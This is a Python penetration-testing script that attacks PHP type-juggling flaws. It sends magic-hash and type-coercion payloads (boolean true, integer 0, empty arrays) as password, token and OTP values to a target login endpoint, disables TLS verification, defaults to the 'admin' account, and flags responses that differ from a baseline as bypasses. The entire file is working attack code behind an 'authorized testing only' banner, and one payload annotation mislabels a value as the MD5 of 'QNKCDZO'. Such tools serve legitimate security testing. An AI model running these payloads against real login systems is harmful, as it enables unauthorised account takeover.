#!/usr/bin/env python3 """Agent for testing type juggling vulnerabilities in PHP and loosely-typed applications.""" import argparse import json from datetime import datetime, timezone try: import requests HAS_REQUESTS = True except ImportError: HAS_REQUESTS = False TYPE_JUGGLING_PAYLOADS = { "magic_hashes": [ {"value": "0e462097431906509019562988736854", "note": "MD5 of '240610708' — equals 0 in loose comparison"}, {"value": "0e215962017", "note": "MD5 of 'QNKCDZO' — equals 0"}, {"value": 0, "note": "Integer 0 == '0e...' in PHP loose comparison"}, {"value": True, "note": "Boolean true == any non-empty string in PHP"}, {"value": [], "note": "Empty array == NULL in some contexts"}, ], "type_coercion": [ {"field": "password", "value": True, "note": "true == 'any_string' in PHP"}, {"field": "password", "value": 0, "note": "0 == 'string' in PHP"}, {"field": "token", "value": 0, "note": "0 == 'hex_token' in PHP"}, {"field": "otp", "value": True, "note": "true == '123456' in PHP"}, ], } def test_authentication_bypass(url, username_field, password_field, username, token=None): """Test authentication bypass via type juggling.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"Bearer {token}" payloads = [ {username_field: username, password_field: True}, {username_field: username, password_field: 0}, {username_field: username, password_field: []}, {username_field: username, password_field: "0"}, {username_field: True, password_field: True}, ] try: baseline = requests.post( url, json={username_field: username, password_field: "wrong_password"}, headers=headers, timeout=10, verify=False ) baseline_status = baseline.status_code baseline_len = len(baseline.text) except requests.RequestException: return findings for payload in payloads: try: resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) if resp.status_code != baseline_status or abs(len(resp.text) - baseline_len) > 50: findings.append({ "payload": str(payload), "status_code": resp.status_code, "response_length": len(resp.text), "baseline_status": baseline_status, "baseline_length": baseline_len, "possible_bypass": True, "severity": "CRITICAL", }) except requests.RequestException: continue return findings def test_comparison_bypass(url, param, token=None): """Test loose comparison bypass for tokens/OTP.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"Bearer {token}" for payload_info in TYPE_JUGGLING_PAYLOADS["type_coercion"]: try: data = {param: payload_info["value"]} resp = requests.post(url, json=data, headers=headers, timeout=10, verify=False) if resp.status_code == 200: findings.append({ "param": param, "value": str(payload_info["value"]), "value_type": type(payload_info["value"]).__name__, "note": payload_info["note"], "severity": "HIGH", }) except requests.RequestException: continue return findings def main(): parser = argparse.ArgumentParser( description="Test type juggling vulnerabilities (authorized testing only)" ) parser.add_argument("--url", required=True, help="Target login/auth URL") parser.add_argument("--username-field", default="username") parser.add_argument("--password-field", default="password") parser.add_argument("--username", default="admin") parser.add_argument("--param", help="Parameter for comparison bypass test") parser.add_argument("--token", help="Bearer token") parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() print("[*] Type Juggling Vulnerability Testing Agent") print("[!] For authorized security testing only") report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} auth_findings = test_authentication_bypass( args.url, args.username_field, args.password_field, args.username, args.token ) report["findings"].extend(auth_findings) print(f"[*] Auth bypass findings: {len(auth_findings)}") if args.param: comp_findings = test_comparison_bypass(args.url, args.param, args.token) report["findings"].extend(comp_findings) print(f"[*] Comparison bypass findings: {len(comp_findings)}") report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"[*] Report saved to {args.output}") else: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()